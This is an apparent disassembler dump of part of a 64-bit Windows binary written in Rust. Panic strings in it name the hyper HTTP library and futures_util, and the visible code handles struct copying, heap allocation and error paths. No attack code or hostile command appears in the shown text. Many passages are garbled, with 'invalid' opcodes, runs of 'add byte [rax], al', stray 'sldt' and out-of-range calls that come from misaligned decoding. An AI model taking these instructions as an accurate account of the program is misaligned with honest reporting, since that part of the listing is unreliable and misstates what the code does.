lock dec qword [rax]
jne 0x1400c8686
mov rcx, qword [rsp + 0x4c0]
mov rdx, qword [rsp + 0x4c8]
call fcn.140069a20
mov rax, qword [rsp + 0x520]
test rax, rax
je 0x1400c86ae
lock dec qword [rax]
jne 0x1400c86ae
mov rcx, qword [rsp + 0x520]
mov rdx, qword [rsp + 0x528]
call fcn.140069a20
mov bl, 2
jmp 0x1400c87cd
mov byte [r14 + 0x78], 3
cmp bl, 3
je 0x1400c8a16
mov rax, qword [rsp + 0x160]
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x1e0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
mov rcx, qword [rsp + 0x2e0]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x1f1], eax
mov dword [rsp + 0x1f4], ecx
mov r14, qword [rsp + 0x180]
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x1d8]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x3e0], rax
mov eax, dword [rsp + 0x1f1]
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x173], eax
mov rsi, qword [rsp + 0x150]
mov rcx, rsi
call fcn.1400b6c40
mov qword [rsi], 4
mov rdx, qword [rsp + 0x260]
mov qword [rdx], r14
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
movups xmmword [rdx + 8], xmm0
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 0x28], xmm2
movups xmmword [rdx + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movups xmmword [rdx + 0x58], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [rdx + 0x68], rax
mov byte [rdx + 0x70], bl
mov eax, dword [rsp + 0x170]
mov ecx, dword [rsp + 0x173]
mov dword [rdx + 0x71], eax
mov dword [rdx + 0x74], ecx
movaps xmm6, xmmword [rsp + 0x610]
movaps xmm7, xmmword [rsp + 0x620]
movaps xmm8, xmmword [rsp + 0x630]
movaps xmm9, xmmword [rsp + 0x640]
movaps xmm10, xmmword [rsp + 0x650]
add rsp, 0x668
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str._Uri_as_Dst_::host_should_have_a_str
lea r8, [0x1401d9a10]
mov edx, 0x24
call fcn.140161290
ud2
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401d99d0]
mov edx, 0x18
call fcn.140161290
ud2
ud2
mov ecx, 8
mov edx, 0x538
call fcn.14015d7f0
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140160fb0
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x4cf8
call fcn.14015d7f0
ud2
lea rax, [0x14016ca58]
mov edx, 7
mov rcx, r8
mov r8, rax
call fcn.140160f40
ud2
lea r8, [0x14016ca70]
mov edx, 8
call fcn.140161190
ud2
lea r8, [0x14016ca88]
mov ecx, 8
mov edx, 7
call fcn.140160f40
ud2
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x36
call fcn.140163a30
ud2
lea rcx, str.TryFlatten_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_try_future_try_flatten.rs
lea r8, [0x1401d3698]
mov edx, 0x22
call fcn.140163a30
ud2
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov qword [r12], 4
jmp 0x1400c89c9
mov rax, qword [rsp + 0x150]
mov qword [rax], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x28
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x410
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x28
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_ready.rs
lea r8, [0x1401d7fd8]
mov edx, 0x1d
call fcn.140161290
ud2
sldt word [rax]
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [r12 + 0xf80], xmm0
mov qword [r12 + 0xf90], 0
mov rcx, rbp
mov rdx, r12
mov r8, r12
call fcn.1400b7920
test rax, rax
je fcn.1400cdb11
add r13, 0x10
mov rcx, r13
mov rdx, rax
xor r8d, r8d
call fcn.14014b800
jmp fcn.1400cdb11
test byte [rax + rax*4], ah
sldt word [rax]
mov qword [r12 + 0xf90], 0
mov rcx, r13
mov rdx, r12
mov r8, r12
call fcn.1400b7920
test rax, rax
je fcn.1400cdb11
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xa0]
mov rdx, rax
call fcn.14014a490
mov bh, 0x84
and al, 0xa4
add dword [rax], eax
add byte [rsi - 0x77], ah
test byte [rsp + rbp*4], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x2b60], al
movaps xmmword [rsp + 0xc40], xmm0
mov eax, dword [rsp + 0x729]
add byte [rbx + 0x7292484], cl
add byte [rax], al
mov ecx, dword [rsp + 0x72c]
mov dword [rsp + 0x570], eax
mov dword [rsp + 0x573], ecx
movups xmm0, xmmword [rsp + 0x2b40]
movups xmm1, xmmword [rsp + 0x2b50]
movaps xmmword [rsp + 0xc30], xmm1
movaps xmmword [rsp + 0xc20], xmm0
mov eax, dword [rsp + 0x722]
mov ecx, dword [rsp + 0x725]
mov dword [rsp + 0x56b], ecx
mov dword [rsp + 0x568], eax
mov eax, dword [rsp + 0x71b]
and al, 0x1b
invalid
add byte [rax], al
mov ecx, dword [rsp + 0x71e]
mov dword [rsp + 0x563], ecx
mov dword [rsp + 0x560], eax
mov rax, qword [rsi + 0x180]
test rax, rax
mov dword [rsp + 0x48], edx
mov qword [rsp + 0x70], r8
je 0x1400cdf34
and al, 0x1b
invalid
lock dec qword [rax]
jne 0x1400cdf34
mov rcx, qword [rsi + 0x180]
mov rdx, qword [rsi + 0x188]
call fcn.140069a20
jmp 0x1400cdf34
movaps xmm0, xmmword [rsp + 0xc70]
movaps xmmword [rsp + 0xbe0], xmm0
movaps xmm0, xmmword [rsp + 0x7b0]
add byte [rdi], cl
sub byte [rsp + 0x7c0], cl
add byte [rdi], cl
sub byte [rsp + 0x7c0], cl
movaps xmm2, xmmword [rsp + 0x7d0]
movaps xmm3, xmmword [rsp + 0x7e0]
movaps xmmword [rsp + 0x840], xmm0
movaps xmmword [rsp + 0x850], xmm1
movaps xmmword [rsp + 0x860], xmm2
movaps xmmword [rsp + 0x870], xmm3
movaps xmm0, xmmword [rsp + 0x7f0]
movaps xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x890], rax
movaps xmm0, xmmword [rsp + 0xc60]
movaps xmmword [rsp + 0xbd0], xmm0
mov rax, qword [rsp + 0xa30]
mov qword [rsp + 0x9d0], rax
movaps xmm0, xmmword [rsp + 0xa20]
movaps xmmword [rsp + 0x9c0], xmm0
mov eax, dword [rsp + 0x578]
mov ecx, dword [rsp + 0x57b]
mov dword [rsp + 0x543], ecx
mov dword [rsp + 0x540], eax
movaps xmm0, xmmword [rsp + 0xc50]
movaps xmmword [rsp + 0xbc0], xmm0
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x190], eax
movzx eax, word [rsp + 0x1ac]
mov word [rsp + 0x194], ax
and al, 0x94
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0xc40], al
movaps xmmword [rsp + 0xbb0], xmm0
mov eax, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x573]
mov dword [rsp + 0x538], eax
mov dword [rsp + 0x53b], ecx
movaps xmm0, xmmword [rsp + 0xc20]
movaps xmm1, xmmword [rsp + 0xc30]
movaps xmmword [rsp + 0xba0], xmm1
movaps xmmword [rsp + 0xb90], xmm0
mov eax, dword [rsp + 0x568]
mov ecx, dword [rsp + 0x56b]
imul eax, dword [0xcc95e07b], 0x24
xor eax, dword [0xc495e081]
and al, 0x30
add eax, 0x848b0000
and al, 0x60
add eax, 0x8c8b0000
and al, 0x63
add eax, 0x8c890000
and al, 0x2b
add eax, 0x84890000
and al, 0x28
add eax, 0x3c60000
add dword [rdi], ecx
sub byte [rsp + 0xbe0], al
movaps xmmword [rsp + 0xbf0], xmm0
movaps xmm0, xmmword [rsp + 0x840]
movaps xmm1, xmmword [rsp + 0x850]
movaps xmm2, xmmword [rsp + 0x860]
movaps xmm3, xmmword [rsp + 0x870]
movaps xmmword [rsp + 0x8a0], xmm0
movaps xmmword [rsp + 0x8b0], xmm1
movaps xmmword [rsp + 0x8c0], xmm2
xchg esp, eax
and al, 0xc0
or byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x8d0], ebx
movaps xmm0, xmmword [rsp + 0x880]
movaps xmmword [rsp + 0x8e0], xmm0
mov rax, qword [rsp + 0x890]
mov qword [rsp + 0x8f0], rax
movaps xmm0, xmmword [rsp + 0xbd0]
movaps xmmword [rsp + 0x940], xmm0
mov rax, qword [rsp + 0x9d0]
mov qword [rsp + 0x740], rax
movaps xmm0, xmmword [rsp + 0x9c0]
movaps xmmword [rsp + 0x730], xmm0
mov eax, dword [rsp + 0x540]
mov ecx, dword [rsp + 0x543]
mov dword [rsp + 0x133], ecx
mov dword [rsp + 0x130], eax
movaps xmm0, xmmword [rsp + 0xbc0]
movaps xmmword [rsp + 0x930], xmm0
movzx eax, word [rsp + 0x194]
mov word [rsp + 0x10c], ax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x108], eax
movaps xmm0, xmmword [rsp + 0xbb0]
movaps xmmword [rsp + 0x920], xmm0
mov eax, dword [rsp + 0x538]
mov ecx, dword [rsp + 0x53b]
mov dword [rsp + 0x12b], ecx
mov dword [rsp + 0x128], eax
movaps xmm0, xmmword [rsp + 0xb90]
add byte [rdi], cl
sub byte [rsp + 0xba0], cl
movaps xmmword [rsp + 0x910], xmm1
movaps xmmword [rsp + 0x900], xmm0
mov eax, dword [rsp + 0x530]
mov ecx, dword [rsp + 0x533]
mov dword [rsp + 0x123], ecx
mov dword [rsp + 0x120], eax
mov eax, dword [rsp + 0x528]
mov ecx, dword [rsp + 0x52b]
mov dword [rsp + 0x11b], ecx
mov dword [rsp + 0x118], eax
mov rcx, qword [rsp + 0x78]
call fcn.1400c5990
cmp dword [rsp + 0x38], 4
je 0x1400cf0ef
mov qword [rsp + 0x78], rdi
movaps xmm0, xmmword [rsp + 0xbf0]
movaps xmmword [rsp + 0xb30], xmm0
movaps xmm0, xmmword [rsp + 0x8a0]
movaps xmm1, xmmword [rsp + 0x8b0]
movaps xmm2, xmmword [rsp + 0x8c0]
movaps xmm3, xmmword [rsp + 0x8d0]
movaps xmmword [rsp + 0xad0], xmm0
and al, 0xd0
or al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0xae0], ecx
movaps xmmword [rsp + 0xaf0], xmm2
movaps xmmword [rsp + 0xb00], xmm3
movaps xmm0, xmmword [rsp + 0x8e0]
movaps xmmword [rsp + 0xb10], xmm0
mov rax, qword [rsp + 0x8f0]
mov qword [rsp + 0xb20], rax
movaps xmm0, xmmword [rsp + 0x940]
movaps xmmword [rsp + 0xb80], xmm0
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x990], rax
movaps xmm0, xmmword [rsp + 0x730]
movaps xmmword [rsp + 0x980], xmm0
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rsp + 0x523], ecx
mov dword [rsp + 0x520], eax
movaps xmm0, xmmword [rsp + 0x930]
movaps xmmword [rsp + 0xb70], xmm0
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x188], eax
movzx eax, word [rsp + 0x10c]
mov word [rsp + 0x18c], ax
movaps xmm0, xmmword [rsp + 0x920]
movaps xmmword [rsp + 0xb60], xmm0
mov eax, dword [rsp + 0x128]
mov ecx, dword [rsp + 0x12b]
mov dword [rsp + 0x518], eax
mov dword [rsp + 0x51b], ecx
movaps xmm0, xmmword [rsp + 0x900]
movaps xmm1, xmmword [rsp + 0x910]
sub byte [rsp + 0x910], cl
sub byte [rsp + 0x910], cl
movaps xmmword [rsp + 0xb50], xmm1
movaps xmmword [rsp + 0xb40], xmm0
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x123]
mov dword [rsp + 0x513], ecx
mov dword [rsp + 0x510], eax
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
mov dword [rsp + 0x50b], ecx
mov dword [rsp + 0x508], eax
mov rdi, qword [rsi + 0xf8]
test rdi, rdi
je 0x1400ce709
mov qword [rsp + 0x178], r13
mov rbx, qword [rsi + 0x100]
mov r13, qword [rbx + 0x10]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400ce3ea
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400cfac2
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x1e0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
pushfq
or dword [rax], eax
test rax, rax
je 0x1400cfac2
dec r13
and r13, 0xfffffffffffffff0
lea rcx, [rdi + r13]
add rcx, 0x10
mov rdx, qword [rsp + 0x38]
mov qword [rax], rdx
mov qword [rax + 8], 2
mov rdx, qword [rsp + 0x70]
mov qword [rax + 0x10], rdx
movaps xmm0, xmmword [rsp + 0xad0]
movaps xmm1, xmmword [rsp + 0xae0]
movaps xmm2, xmmword [rsp + 0xaf0]
movaps xmm3, xmmword [rsp + 0xb00]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rsp + 0xb10]
movups xmmword [rax + 0x58], xmm0
mov rdx, qword [rsp + 0xb20]
mov qword [rax + 0x68], rdx
mov qword [rax + 0x70], 0
mov rdx, qword [rsp + 0xc8]
mov qword [rax + 0x78], rdx
mov rdx, qword [rsp + 0x1c8]
mov qword [rax + 0x80], rdx
mov edx, dword [rsp + 0x48]
mov byte [rax + 0x88], dl
mov byte [rax + 0x8f], 0
mov word [rax + 0x8d], 0
mov dword [rax + 0x89], 0
mov rdx, qword [rsp + 0x110]
mov qword [rax + 0x90], rdx
mov rdx, qword [rsp + 0xf0]
mov qword [rax + 0x98], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rax + 0xa0], rdx
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xa8], 0
mov qword [rax + 0xb8], r14
mov rdx, qword [rsp + 0x68]
mov qword [rax + 0xc0], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rax + 0xc8], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rax + 0xd0], rdx
mov rdx, qword [rsp + 0x80]
mov qword [rax + 0xd8], rdx
mov r8, qword [rsp + 0xd8]
mov qword [rax + 0xe0], r8
mov rdx, qword [rsp + 0xe8]
mov qword [rax + 0xe8], rdx
mov rdx, qword [rsp + 0xf8]
mov qword [rax + 0xf0], rdx
mov rdx, qword [rsp + 0x78]
mov qword [rax + 0xf8], rdx
mov rdx, qword [rsp + 0x90]
mov qword [rax + 0x100], rdx
nop
add byte [rcx], al
add byte [rax], al
nop
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x108], 0x2000
movaps xmm0, xmmword [rsp + 0xb80]
movups xmmword [rax + 0x110], xmm0
mov qword [rax + 0x120], 8
movaps xmm0, xmmword [rsp + 0x980]
movups xmmword [rax + 0x128], xmm0
mov rdx, qword [rsp + 0x990]
mov qword [rax + 0x138], rdx
mov qword [rax + 0x140], r8
mov edx, dword [rsp + 0x60]
mov byte [rax + 0x148], dl
mov edx, dword [rsp + 0x520]
mov r8d, dword [rsp + 0x523]
mov dword [rax + 0x149], edx
mov dword [rax + 0x14c], r8d
mov qword [rax + 0x150], 1
movaps xmm0, xmmword [rsp + 0xb70]
movups xmmword [rax + 0x158], xmm0
mov qword [rax + 0x168], 1
mov word [rax + 0x170], 0
mov edx, dword [rsp + 0x188]
mov dword [rax + 0x172], edx
movzx edx, word [rsp + 0x18c]
mov word [rax + 0x176], dx
mov qword [rax + 0x178], 2
movaps xmm0, xmmword [rsp + 0xb60]
movups xmmword [rax + 0x180], xmm0
mov qword [rax + 0x190], r12
mov qword [rax + 0x198], rbp
mov byte [rax + 0x1a0], 0
add byte [rax], al
add byte [rax], al
mov edx, dword [rsp + 0x518]
mov r8d, dword [rsp + 0x51b]
mov dword [rax + 0x1a4], r8d
mov dword [rax + 0x1a1], edx
movaps xmm0, xmmword [rsp + 0xb40]
or eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0xb50], cl
movups xmmword [rax + 0x1a8], xmm0
movups xmmword [rax + 0x1b8], xmm1
mov byte [rax + 0x1c8], 3
mov edx, dword [rsp + 0x510]
mov r8d, dword [rsp + 0x513]
mov dword [rax + 0x1cc], r8d
mov dword [rax + 0x1c9], edx
mov rdx, qword [rsp + 0xd0]
mov qword [rax + 0x1d0], rdx
mov byte [rax + 0x1d8], 0
mov edx, dword [rsp + 0x508]
mov r8d, dword [rsp + 0x50b]
mov dword [rax + 0x1d9], edx
mov dword [rax + 0x1dc], r8d
lea r8, [0x1401d6a68]
mov rdx, rax
call qword [rbx + 0x18]
mov r13, qword [rsp + 0x178]
mov r12, qword [rsp + 0x40]
jmp 0x1400ceda9
mov eax, 1
lock xadd qword [0x140215078], rax
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xc80], rax
mov qword [rsp + 0xc88], 2
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0x8f0]
mov qword [rsp + 0xce8], rax
movaps xmm0, xmmword [rsp + 0x8a0]
movaps xmm1, xmmword [rsp + 0x8b0]
movaps xmm2, xmmword [rsp + 0x8c0]
movaps xmm3, xmmword [rsp + 0x8d0]
movups xmmword [rsp + 0xc98], xmm0
movups xmmword [rsp + 0xca8], xmm1
movups xmmword [rsp + 0xcb8], xmm2
movups xmmword [rsp + 0xcc8], xmm3
movaps xmm0, xmmword [rsp + 0x8e0]
movups xmmword [rsp + 0xcd8], xmm0
mov qword [rsp + 0xcf0], 0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xd00], rax
mov eax, dword [rsp + 0x48]
mov byte [rsp + 0xd08], al
mov byte [rsp + 0xd0f], 0
mov word [rsp + 0xd0d], 0
mov dword [rsp + 0xd09], 0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xd10], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xd18], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xd20], rax
mov qword [rsp + 0xd28], 0
mov qword [rsp + 0xd38], r14
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xd40], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xd48], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd50], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xd58], rax
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xd60], rcx
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xd68], rax
mov rax, qword [rsp + 0xf8]
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*2], ah
or eax, 0x8b480000
and al, 0x78
mov qword [rsp + 0xd78], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xd80], rax
mov qword [rsp + 0xd88], 0x2000
movaps xmm0, xmmword [rsp + 0x940]
movups xmmword [rsp + 0xd90], xmm0
mov qword [rsp + 0xda0], 8
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0xdb8], rax
movaps xmm0, xmmword [rsp + 0x730]
movups xmmword [rsp + 0xda8], xmm0
mov qword [rsp + 0xdc0], rcx
mov eax, dword [rsp + 0x60]
mov byte [rsp + 0xdc8], al
mov eax, dword [rsp + 0x130]
mov dword [rsp + 0xdc9], eax
mov eax, dword [rsp + 0x133]
mov dword [rsp + 0xdcc], eax
and al, 0xcc
or eax, 0xc7480000
test byte [rax + rdx*8], ah
or eax, 0x10000
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x930]
movups xmmword [rsp + 0xdd8], xmm0
mov qword [rsp + 0xde8], 1
mov word [rsp + 0xdf0], 0
movzx eax, word [rsp + 0x10c]
mov word [rsp + 0xdf6], ax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0xdf2], eax
test byte [rdx + rsi*8], ah
or eax, 0xc7480000
test byte [rax + rdi*8], ah
or eax, 0x20000
add byte [rax], al
test byte [rdx + rsi*8], ah
or eax, 0xc7480000
test byte [rax + rdi*8], ah
or eax, 0x20000
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x920]
movups xmmword [rsp + 0xe00], xmm0
mov qword [rsp + 0xe10], r12
mov qword [rsp + 0xe18], rbp
mov byte [rsp + 0xe20], 0
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xe21], eax
mov eax, dword [rsp + 0x12b]
mov dword [rsp + 0xe24], eax
movaps xmm0, xmmword [rsp + 0x900]
movaps xmm1, xmmword [rsp + 0x910]
movups xmmword [rsp + 0xe38], xmm1
movups xmmword [rsp + 0xe28], xmm0
mov byte [rsp + 0xe48], 3
mov eax, dword [rsp + 0x123]
mov dword [rsp + 0xe4c], eax
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0xe49], eax
mov rax, qword [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
mov byte [rsp + 0xe58], 0
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
mov dword [rsp + 0xe5c], ecx
mov dword [rsp + 0xe59], eax
lea rax, [rsp + 0x750]
mov qword [rsp + 0xe60], rax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400ceab4
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*2], ah
invalid
test eax, eax
jne 0x1400cfc95
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
lea rcx, [rsp + 0x2b70]
lea rdx, [rsp + 0xc80]
mov r8d, 0x1e8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0x90]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jae 0x1400cfb7d
lea rax, [rdi + 1]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x90], rax
mov rbx, qword [rcx + 0x98]
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz*8], fs
sbb eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
or al, 0
add byte [rcx - 0x48], al
call 0x1280ceb39
invalid
loopne 0x1400ceb43
add byte [rax - 0x7d], cl
sti
add cl, byte [rdi]
test ah, cl
adc byte [rax], al
invalid
mov rax, qword [rsp + 0x1dc0]
mov rdi, qword [rax]
test rbx, rbx
je 0x1400cec95
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0xa0]
lock inc qword [r12]
jle 0x1400cf8c1
mov rbp, r13
xorps xmm0, xmm0
movaps xmmword [rsp + 0x7b0], xmm0
mov qword [rsp + 0x7c0], 0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400cebc5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400cfbd6
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x300
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400cfbd6
mov rbx, rax
and rbx, 0xffffffffffffff80
lea r14, [rbx + 0x80]
mov qword [rbx + 0x78], rax
lea r13, [r12 + 0x70]
mov qword [rbx + 0x80], 0xcc
mov qword [rbx + 0x88], 0
lea rax, [0x1401d6e90]
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x98], 0
mov qword [rbx + 0xa0], r12
mov qword [rbx + 0xa8], rdi
lea rcx, [rbx + 0xb0]
lea rdx, [rsp + 0x2b70]
mov r8d, 0x1e0
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmm1, xmmword [rsp + 0x7c0]
movaps xmmword [rbx + 0x290], xmm0
movaps xmmword [rbx + 0x2a0], xmm1
mov rcx, r13
mov rdx, r14
mov r8, r14
call fcn.1400b7920
test rax, rax
je 0x1400cec8d
add r12, 0x10
mov rcx, r12
mov rdx, rax
xor r8d, r8d
call fcn.14014b800
mov r13, rbp
jmp 0x1400ced6f
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0xa0]
lock inc qword [r12]
jle 0x1400cf8c1
movzx eax, byte [0x1402153f8]
mov ecx, 0x280
mov edx, 0x80
call fcn.140013830
test rax, rax
je 0x1400cfbd6
mov r14, rax
mov qword [rax], 0xcc
mov qword [rax + 8], 0
lea rax, [0x1401d6f80]
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], 0
mov qword [r14 + 0x20], r12
add r12, 0x60
mov qword [r14 + 0x28], rdi
mov rcx, r14
add rcx, 0x30
lea rdx, [rsp + 0x2b70]
mov r8d, 0x1e0
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [r14 + 0x210], xmm0
mov qword [r14 + 0x220], 0
mov rcx, r12
mov rdx, r14
mov r8, r14
call fcn.1400b7920
test rax, rax
je 0x1400ced6f
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xa0]
mov rdx, rax
call fcn.14014a490
mov r12, qword [rsp + 0x40]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [r14], rcx
je 0x1400ceda9
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax + 0x20]
lea r14, [rsi + 0x118]
mov qword [rsi + 0x130], r15
movaps xmm0, xmmword [rsp + 0xb30]
movups xmmword [rsi + 0x138], xmm0
lea rbx, [rsi + 0x148]
mov byte [rsi + 0x148], 0
mov rax, qword [rsi + 0x140]
mov qword [r14 + 0x10], rax
mov rax, qword [rsi + 0x130]
mov qword [r14], rax
mov rax, qword [rsi + 0x138]
mov qword [r14 + 8], rax
cmp byte [rsi + 0x128], 2
je 0x1400cf955
mov rcx, r14
mov rdx, r12
call fcn.14015bb60
cmp al, 2
je 0x1400cef93
movzx eax, al
test eax, eax
jne 0x1400cefa2
movzx eax, byte [rsi + 0x128]
mov byte [rsi + 0x128], 2
cmp eax, 3
je 0x1400cef93
cmp eax, 2
je 0x1400cfbbc
mov r8, qword [rsi + 0x118]
